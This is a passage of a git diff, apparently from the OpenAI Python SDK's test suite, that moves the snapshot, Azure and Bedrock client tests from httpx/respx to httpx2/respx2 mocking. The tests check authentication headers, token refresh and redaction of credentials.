mock_client: OpenAI,
) -> None:
live = os.environ.get("OPENAI_LIVE") == "1"
if live:
- def _on_response(response: httpx.Response) -> None:
+ def _on_response(response: httpx2.Response) -> None:
# update the content snapshot
assert outsource(response.read()) == content_snapshot
- respx_mock.stop()
+ respx2_mock.stop()
client = OpenAI(
- http_client=httpx.Client(
+ http_client=httpx2.Client(
event_hooks={
"response": [_on_response],
}
)
)
else:
- respx_mock.post("/chat/completions").mock(
- return_value=httpx.Response(
+ respx2_mock.post("/chat/completions").mock(
+ return_value=httpx2.Response(
200,
content=get_snapshot_value(content_snapshot),
headers={"content-type": "text/event-stream"},
diff --git a/tests/lib/responses/test_responses.py b/tests/lib/responses/test_responses.py
index 4ed6dff47d..43879942b8 100644
--- a/tests/lib/responses/test_responses.py
+++ b/tests/lib/responses/test_responses.py
@@ -3,10 +3,10 @@
from typing_extensions import TypeVar
import pytest
-from respx import MockRouter
from inline_snapshot import snapshot
from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
from openai._types import omit
from openai._utils import assert_signatures_in_sync
from openai._models import construct_type_unchecked
@@ -25,8 +25,8 @@
# `OPENAI_LIVE=1 pytest --inline-snapshot=fix -p no:xdist -o addopts=""`
-@pytest.mark.respx(base_url=base_url)
-def test_output_text(client: OpenAI, respx_mock: MockRouter) -> None:
+@pytest.mark.respx2(base_url=base_url)
+def test_output_text(client: OpenAI, respx2_mock: MockRouter) -> None:
response = make_snapshot_request(
lambda c: c.responses.create(
model="gpt-4o-mini",
@@ -37,7 +37,7 @@ def test_output_text(client: OpenAI, respx_mock: MockRouter) -> None:
),
path="/responses",
mock_client=client,
- respx_mock=respx_mock,
+ respx2_mock=respx2_mock,
)
assert response.output_text == snapshot(
diff --git a/tests/lib/snapshots.py b/tests/lib/snapshots.py
index 91222acda1..4789596def 100644
--- a/tests/lib/snapshots.py
+++ b/tests/lib/snapshots.py
@@ -5,11 +5,11 @@
from typing import Any, Callable, Awaitable
from typing_extensions import TypeVar
-import httpx
-from respx import MockRouter
+import httpx2
from inline_snapshot import get_snapshot_value
from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
_T = TypeVar("_T")
@@ -18,29 +18,29 @@ def make_snapshot_request(
func: Callable[[OpenAI], _T],
*,
content_snapshot: Any,
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
mock_client: OpenAI,
path: str,
) -> _T:
live = os.environ.get("OPENAI_LIVE") == "1"
if live:
- def _on_response(response: httpx.Response) -> None:
+ def _on_response(response: httpx2.Response) -> None:
# update the content snapshot
assert json.dumps(json.loads(response.read())) == content_snapshot
- respx_mock.stop()
+ respx2_mock.stop()
client = OpenAI(
- http_client=httpx.Client(
+ http_client=httpx2.Client(
event_hooks={
"response": [_on_response],
}
)
)
else:
- respx_mock.post(path).mock(
- return_value=httpx.Response(
+ respx2_mock.post(path).mock(
+ return_value=httpx2.Response(
200,
content=get_snapshot_value(content_snapshot),
headers={"content-type": "application/json"},
@@ -61,29 +61,29 @@ async def make_async_snapshot_request(
func: Callable[[AsyncOpenAI], Awaitable[_T]],
*,
content_snapshot: Any,
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
mock_client: AsyncOpenAI,
path: str,
) -> _T:
live = os.environ.get("OPENAI_LIVE") == "1"
if live:
- async def _on_response(response: httpx.Response) -> None:
+ async def _on_response(response: httpx2.Response) -> None:
# update the content snapshot
assert json.dumps(json.loads(await response.aread())) == content_snapshot
- respx_mock.stop()
+ respx2_mock.stop()
client = AsyncOpenAI(
- http_client=httpx.AsyncClient(
+ http_client=httpx2.AsyncClient(
event_hooks={
"response": [_on_response],
}
)
)
else:
- respx_mock.post(path).mock(
- return_value=httpx.Response(
+ respx2_mock.post(path).mock(
+ return_value=httpx2.Response(
200,
content=get_snapshot_value(content_snapshot),
headers={"content-type": "application/json"},
diff --git a/tests/lib/test_azure.py b/tests/lib/test_azure.py
index 3e1d783e2c..691a911144 100644
--- a/tests/lib/test_azure.py
+++ b/tests/lib/test_azure.py
@@ -4,12 +4,12 @@
from typing import Union, cast
from typing_extensions import Literal, Protocol
-import httpx
+import httpx2
import pytest
-from respx import MockRouter
from openai import OpenAIError
from tests.utils import update_env
+from tests.respx2 import MockRouter
from openai._types import Omit
from openai._utils import SensitiveHeadersFilter, is_dict
from openai._models import FinalRequestOptions
@@ -32,7 +32,7 @@
class MockRequestCall(Protocol):
- request: httpx.Request
+ request: httpx2.Request
@pytest.mark.parametrize("client", [sync_client, async_client])
@@ -91,11 +91,11 @@ def test_enforce_credentials_false_sync() -> None:
)
-@pytest.mark.respx()
-def test_enforce_credentials_false_sync_uses_default_api_key_header(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+def test_enforce_credentials_false_sync_uses_default_api_key_header(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
with update_env(AZURE_OPENAI_API_KEY=Omit(), AZURE_OPENAI_AD_TOKEN=Omit()):
client = AzureOpenAI(
@@ -109,16 +109,16 @@ def test_enforce_credentials_false_sync_uses_default_api_key_header(respx_mock:
)
client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers.get("api-key") == "manual-api-key"
assert calls[0].request.headers.get("Authorization") is None
-@pytest.mark.respx()
-def test_enforce_credentials_false_sync_uses_request_authorization_header(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+def test_enforce_credentials_false_sync_uses_request_authorization_header(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
with update_env(AZURE_OPENAI_API_KEY=Omit(), AZURE_OPENAI_AD_TOKEN=Omit()):
client = AzureOpenAI(
@@ -135,7 +135,7 @@ def test_enforce_credentials_false_sync_uses_request_authorization_header(respx_
extra_headers={"authorization": "Bearer manual-token"},
)
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers.get("Authorization") == "Bearer manual-token"
assert calls[0].request.headers.get("api-key") is None
@@ -165,11 +165,11 @@ def test_enforce_credentials_false_async() -> None:
@pytest.mark.asyncio
-@pytest.mark.respx()
-async def test_enforce_credentials_false_async_uses_default_api_key_header(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+async def test_enforce_credentials_false_async_uses_default_api_key_header(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
with update_env(AZURE_OPENAI_API_KEY=Omit(), AZURE_OPENAI_AD_TOKEN=Omit()):
client = AsyncAzureOpenAI(
@@ -183,17 +183,17 @@ async def test_enforce_credentials_false_async_uses_default_api_key_header(respx
)
await client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers.get("api-key") == "manual-api-key"
assert calls[0].request.headers.get("Authorization") is None
@pytest.mark.asyncio
-@pytest.mark.respx()
-async def test_enforce_credentials_false_async_uses_request_authorization_header(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+async def test_enforce_credentials_false_async_uses_request_authorization_header(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
with update_env(AZURE_OPENAI_API_KEY=Omit(), AZURE_OPENAI_AD_TOKEN=Omit()):
client = AsyncAzureOpenAI(
@@ -210,7 +210,7 @@ async def test_enforce_credentials_false_async_uses_request_authorization_header
extra_headers={"authorization": "Bearer manual-token"},
)
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers.get("Authorization") == "Bearer manual-token"
assert calls[0].request.headers.get("api-key") is None
@@ -227,14 +227,14 @@ def test_enforce_credentials_true_async() -> None:
)
-@pytest.mark.respx()
-def test_client_token_provider_refresh_sync(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+def test_client_token_provider_refresh_sync(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
).mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json={"foo": "bar"}),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json={"foo": "bar"}),
]
)
@@ -257,7 +257,7 @@ def token_provider() -> str:
)
client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
@@ -266,14 +266,14 @@ def token_provider() -> str:
@pytest.mark.asyncio
-@pytest.mark.respx()
-async def test_client_token_provider_refresh_async(respx_mock: MockRouter) -> None:
- respx_mock.post(
+@pytest.mark.respx2()
+async def test_client_token_provider_refresh_async(respx2_mock: MockRouter) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-02-01"
).mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json={"foo": "bar"}),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json={"foo": "bar"}),
]
)
@@ -297,7 +297,7 @@ def token_provider() -> str:
await client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
@@ -313,11 +313,11 @@ def logger_with_filter(self) -> logging.Logger:
logger.addFilter(SensitiveHeadersFilter())
return logger
- @pytest.mark.respx()
- def test_azure_api_key_redacted(self, respx_mock: MockRouter, caplog: pytest.LogCaptureFixture) -> None:
- respx_mock.post(
+ @pytest.mark.respx2()
+ def test_azure_api_key_redacted(self, respx2_mock: MockRouter, caplog: pytest.LogCaptureFixture) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-06-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
client = AzureOpenAI(
api_version="2024-06-01",
@@ -332,11 +332,11 @@ def test_azure_api_key_redacted(self, respx_mock: MockRouter, caplog: pytest.Log
if is_dict(record.args) and record.args.get("headers") and is_dict(record.args["headers"]):
assert record.args["headers"]["api-key"] == ""
- @pytest.mark.respx()
- def test_azure_bearer_token_redacted(self, respx_mock: MockRouter, caplog: pytest.LogCaptureFixture) -> None:
- respx_mock.post(
+ @pytest.mark.respx2()
+ def test_azure_bearer_token_redacted(self, respx2_mock: MockRouter, caplog: pytest.LogCaptureFixture) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-06-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
client = AzureOpenAI(
api_version="2024-06-01",
@@ -352,11 +352,13 @@ def test_azure_bearer_token_redacted(self, respx_mock: MockRouter, caplog: pytes
assert record.args["headers"]["Authorization"] == ""
@pytest.mark.asyncio
- @pytest.mark.respx()
- async def test_azure_api_key_redacted_async(self, respx_mock: MockRouter, caplog: pytest.LogCaptureFixture) -> None:
- respx_mock.post(
+ @pytest.mark.respx2()
+ async def test_azure_api_key_redacted_async(
+ self, respx2_mock: MockRouter, caplog: pytest.LogCaptureFixture
+ ) -> None:
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-06-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
client = AsyncAzureOpenAI(
api_version="2024-06-01",
@@ -372,13 +374,13 @@ async def test_azure_api_key_redacted_async(self, respx_mock: MockRouter, caplog
assert record.args["headers"]["api-key"] == ""
@pytest.mark.asyncio
- @pytest.mark.respx()
+ @pytest.mark.respx2()
async def test_azure_bearer_token_redacted_async(
- self, respx_mock: MockRouter, caplog: pytest.LogCaptureFixture
+ self, respx2_mock: MockRouter, caplog: pytest.LogCaptureFixture
) -> None:
- respx_mock.post(
+ respx2_mock.post(
"https://example-resource.azure.openai.com/openai/deployments/gpt-4/chat/completions?api-version=2024-06-01"
- ).mock(return_value=httpx.Response(200, json={"model": "gpt-4"}))
+ ).mock(return_value=httpx2.Response(200, json={"model": "gpt-4"}))
client = AsyncAzureOpenAI(
api_version="2024-06-01",
diff --git a/tests/lib/test_bedrock.py b/tests/lib/test_bedrock.py
index bf987b2fa9..96ebe80a10 100644
--- a/tests/lib/test_bedrock.py
+++ b/tests/lib/test_bedrock.py
@@ -4,17 +4,16 @@
from typing import Any, Union, Protocol, cast
from pathlib import Path
-import httpx
+import httpx2
import pytest
-from httpx import URL
-from respx import MockRouter
+from httpx2 import URL
import openai.lib._bedrock_auth as bedrock_auth_module
-from openai import OpenAIError, NotFoundError
+from openai import OpenAIError, NotFoundError, DefaultHttpx2Client, DefaultAsyncHttpx2Client
from tests.utils import update_env
+from tests.respx2 import MockRouter
from openai._types import Omit
from openai.lib.bedrock import BedrockOpenAI, AsyncBedrockOpenAI
-from tests._httpx2_respx import sync_http_client, async_http_client
Client = Union[BedrockOpenAI, AsyncBedrockOpenAI]
@@ -76,7 +75,7 @@
class MockRequestCall(Protocol):
- request: httpx.Request
+ request: httpx2.Request
class MockAwsCredentials:
@@ -87,11 +86,11 @@ def __init__(self, access_key: str, secret_key: str, token: str | None = None) -
def make_sync_client(**kwargs: Any) -> BedrockOpenAI:
- return BedrockOpenAI(http_client=sync_http_client(trust_env=False), **kwargs)
+ return BedrockOpenAI(http_client=DefaultHttpx2Client(trust_env=False), **kwargs)
def make_async_client(**kwargs: Any) -> AsyncBedrockOpenAI:
- return AsyncBedrockOpenAI(http_client=async_http_client(trust_env=False), **kwargs)
+ return AsyncBedrockOpenAI(http_client=DefaultAsyncHttpx2Client(trust_env=False), **kwargs)
def response_created_sse() -> str:
@@ -133,14 +132,14 @@ def test_bedrock_config_precedence(client_cls: type[Client]) -> None:
assert client.api_key == "explicit token"
-@pytest.mark.respx()
-def test_env_bearer_does_not_require_botocore(monkeypatch: pytest.MonkeyPatch, respx_mock: MockRouter) -> None:
+@pytest.mark.respx2()
+def test_env_bearer_does_not_require_botocore(monkeypatch: pytest.MonkeyPatch, respx2_mock: MockRouter) -> None:
def load_botocore() -> None:
raise AssertionError("bearer authentication must not import botocore")
monkeypatch.setattr(bedrock_auth_module, "_load_botocore", load_botocore)
- respx_mock.post("https://example.com/openai/v1/responses").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
with update_env(
AWS_BEDROCK_BASE_URL="https://example.com/openai/v1",
@@ -150,7 +149,7 @@ def load_botocore() -> None:
client.responses.create(model="gpt-4o", input="hello")
- request = cast("list[MockRequestCall]", respx_mock.calls)[0].request
+ request = cast("list[MockRequestCall]", respx2_mock.calls)[0].request
assert request.headers["Authorization"] == "Bearer env token"
@@ -165,11 +164,11 @@ def load_botocore() -> None:
with update_env(AWS_BEDROCK_BASE_URL=Omit(), AWS_BEARER_TOKEN_BEDROCK="", AWS_REGION="us-east-1"):
client = make_sync_client()
with pytest.raises(OpenAIError, match="requires optional AWS dependencies"):
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
-@pytest.mark.respx()
-def test_env_bearer_does_not_use_botocore_bearer_auth(monkeypatch: pytest.MonkeyPatch, respx_mock: MockRouter) -> None:
+@pytest.mark.respx2()
+def test_env_bearer_does_not_use_botocore_bearer_auth(monkeypatch: pytest.MonkeyPatch, respx2_mock: MockRouter) -> None:
auth_module = pytest.importorskip("botocore.auth")
calls = 0
real_add_auth = auth_module.BearerAuth.add_auth
@@ -180,15 +179,15 @@ def add_auth(auth: object, request: object) -> None:
real_add_auth(auth, request)
monkeypatch.setattr(auth_module.BearerAuth, "add_auth", add_auth)
- respx_mock.post("https://example.com/openai/v1/responses").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
with update_env(AWS_BEARER_TOKEN_BEDROCK="env token"):
client = make_sync_client(base_url="https://example.com/openai/v1")
client.responses.create(model="gpt-4o", input="hello")
- request = cast("list[MockRequestCall]", respx_mock.calls)[0].request
+ request = cast("list[MockRequestCall]", respx2_mock.calls)[0].request
assert request.headers["Authorization"] == "Bearer env token"
assert calls == 0
@@ -322,57 +321,57 @@ def test_requires_refreshable_tokens_to_use_provider_option(client_cls: type[Cli
)
-@pytest.mark.respx()
-def test_token_provider_refresh_sync(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
+@pytest.mark.respx2()
+def test_token_provider_refresh_sync(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json=RESPONSE_BODY),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json=RESPONSE_BODY),
]
)
tokens = iter(["first", "second"])
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
bedrock_token_provider=lambda: next(tokens),
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
max_retries=1,
)
client.responses.create(model="gpt-4o", input="hello")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers["Authorization"] == "Bearer first"
assert calls[1].request.headers["Authorization"] == "Bearer second"
@pytest.mark.asyncio
-@pytest.mark.respx()
-async def test_token_provider_refresh_async(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
+@pytest.mark.respx2()
+async def test_token_provider_refresh_async(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json=RESPONSE_BODY),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json=RESPONSE_BODY),
]
)
tokens = iter(["first", "second"])
client = AsyncBedrockOpenAI(
base_url="https://example.com/openai/v1",
bedrock_token_provider=lambda: next(tokens),
- http_client=async_http_client(trust_env=False),
+ http_client=DefaultAsyncHttpx2Client(trust_env=False),
max_retries=1,
)
await client.responses.create(model="gpt-4o", input="hello")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers["Authorization"] == "Bearer first"
assert calls[1].request.headers["Authorization"] == "Bearer second"
-@pytest.mark.respx()
-def test_explicit_aws_credentials_override_ambient_bearer(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+@pytest.mark.respx2()
+def test_explicit_aws_credentials_override_ambient_bearer(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
with update_env(AWS_BEARER_TOKEN_BEDROCK="ambient token"):
client = BedrockOpenAI(
@@ -381,22 +380,22 @@ def test_explicit_aws_credentials_override_ambient_bearer(respx_mock: MockRouter
aws_access_key_id="access key",
aws_secret_access_key="secret key",
aws_session_token="session token",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
client.responses.create(model="gpt-4o", input="hello")
- request = cast("list[MockRequestCall]", respx_mock.calls)[0].request
+ request = cast("list[MockRequestCall]", respx2_mock.calls)[0].request
assert request.headers["Authorization"].startswith("AWS4-HMAC-SHA256 Credential=access key/")
assert request.headers["X-Amz-Security-Token"] == "session token"
-@pytest.mark.respx()
-def test_aws_credentials_provider_refreshes_before_retries(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
+@pytest.mark.respx2()
+def test_aws_credentials_provider_refreshes_before_retries(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json=RESPONSE_BODY),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json=RESPONSE_BODY),
]
)
credentials = iter(
@@ -409,13 +408,13 @@ def test_aws_credentials_provider_refreshes_before_retries(respx_mock: MockRoute
base_url="https://example.com/openai/v1",
aws_region="us-east-1",
aws_credentials_provider=lambda: next(credentials),
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
max_retries=1,
)
client.responses.create(model="gpt-4o", input="hello")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert "Credential=first access key/" in calls[0].request.headers["Authorization"]
assert calls[0].request.headers["X-Amz-Security-Token"] == "first session token"
assert "Credential=second access key/" in calls[1].request.headers["Authorization"]
@@ -426,7 +425,7 @@ def test_preserves_token_provider_across_with_options() -> None:
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
bedrock_token_provider=lambda: "provider token",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
copied_client = client.with_options(timeout=1)
@@ -435,65 +434,65 @@ def test_preserves_token_provider_across_with_options() -> None:
def test_preserves_environment_bearer_across_with_options() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(AWS_BEARER_TOKEN_BEDROCK="first token"):
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
with update_env(AWS_BEARER_TOKEN_BEDROCK="second token"):
copied_client = client.with_options(timeout=1)
- copied_client.get("/models", cast_to=httpx.Response)
+ copied_client.get("/models", cast_to=httpx2.Response)
assert copied_client.api_key == "first token"
assert requests[0].headers["Authorization"] == "Bearer first token"
def test_environment_bearer_routing_copy_remains_mutable() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(AWS_BEARER_TOKEN_BEDROCK="first token"):
client = BedrockOpenAI(
aws_region="us-east-1",
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
copied_client = client.with_options(aws_region="us-west-2")
copied_client.api_key = "second token"
- copied_client.get("/models", cast_to=httpx.Response)
+ copied_client.get("/models", cast_to=httpx2.Response)
assert copied_client.api_key == "second token"
assert requests[0].headers["Authorization"] == "Bearer second token"
def test_legacy_api_key_mutation_updates_requests_and_copies() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
api_key="first token",
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
client.api_key = "second token"
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
copied_client = client.with_options(timeout=1)
- copied_client.get("/models", cast_to=httpx.Response)
+ copied_client.get("/models", cast_to=httpx2.Response)
client.api_key = "first token"
reverted_client = client.with_options(timeout=2)
- reverted_client.get("/models", cast_to=httpx.Response)
+ reverted_client.get("/models", cast_to=httpx2.Response)
assert copied_client.api_key == "second token"
assert reverted_client.api_key == "first token"
@@ -505,21 +504,21 @@ def handler(request: httpx.Request) -> httpx.Response:
def test_legacy_api_key_mutation_switches_aws_client_to_bearer() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
aws_region="us-east-1",
aws_access_key_id="access key",
aws_secret_access_key="secret key",
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
client.api_key = "bearer token"
- client.get("/models", cast_to=httpx.Response, options={"follow_redirects": True})
+ client.get("/models", cast_to=httpx2.Response, options={"follow_redirects": True})
assert requests[0].headers["Authorization"] == "Bearer bearer token"
@@ -528,7 +527,7 @@ def test_explicit_aws_copy_override_wins_over_mutated_api_key() -> None:
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
api_key="first token",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
client.api_key = "second token"
@@ -545,20 +544,20 @@ def test_explicit_aws_copy_override_wins_over_mutated_api_key() -> None:
def test_clearing_legacy_bearer_does_not_switch_to_aws_authentication() -> None:
network_calls = 0
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
with update_env(AWS_ACCESS_KEY_ID="access key", AWS_SECRET_ACCESS_KEY="secret key"):
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
api_key="bearer token",
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
client.api_key = None # type: ignore[assignment]
with pytest.raises(OpenAIError, match="bearer credential must not be empty"):
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert network_calls == 0
@@ -570,7 +569,7 @@ def test_legacy_state_repr_does_not_expose_credentials() -> None:
aws_access_key_id="secret access key id",
aws_secret_access_key="secret access key",
aws_session_token="secret session token",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
assert "secret" not in repr(client._bedrock_state)
@@ -578,7 +577,7 @@ def test_legacy_state_repr_does_not_expose_credentials() -> None:
bearer_client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
api_key="secret bearer token",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
assert "secret bearer token" not in repr(bearer_client._bedrock_runtime_signature)
@@ -648,7 +647,7 @@ def test_preserves_aws_credentials_across_with_options() -> None:
aws_region="us-east-1",
aws_access_key_id="access key",
aws_secret_access_key="secret key",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
copied_client = client.with_options(timeout=1)
@@ -912,13 +911,13 @@ def __init__(
organization: str | None = None,
project: str | None = None,
webhook_secret: str | None = None,
- base_url: str | httpx.URL | None = None,
- websocket_base_url: str | httpx.URL | None = None,
+ base_url: str | httpx2.URL | None = None,
+ websocket_base_url: str | httpx2.URL | None = None,
timeout: Any = None,
max_retries: int = 2,
default_headers: Any = None,
default_query: Any = None,
- http_client: httpx.Client | None = None,
+ http_client: httpx2.Client | None = None,
_enforce_credentials: bool = True,
) -> None:
super().__init__(
@@ -942,7 +941,7 @@ def __init__(
client = LegacyBedrockOpenAI(
api_key="token",
aws_region="us-east-1",
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
)
copied_client = client.with_options(timeout=1).with_options(aws_region="us-west-2")
@@ -1031,10 +1030,10 @@ def test_rejects_non_bedrock_copy_auth(copy_kwargs: dict[str, Any]) -> None:
client.with_options(**copy_kwargs)
-@pytest.mark.respx()
-def test_passes_non_responses_resources_through(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/chat/completions").mock(
- return_value=httpx.Response(
+@pytest.mark.respx2()
+def test_passes_non_responses_resources_through(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/chat/completions").mock(
+ return_value=httpx2.Response(
404,
json={"error": {"message": "AWS does not support chat completions here"}},
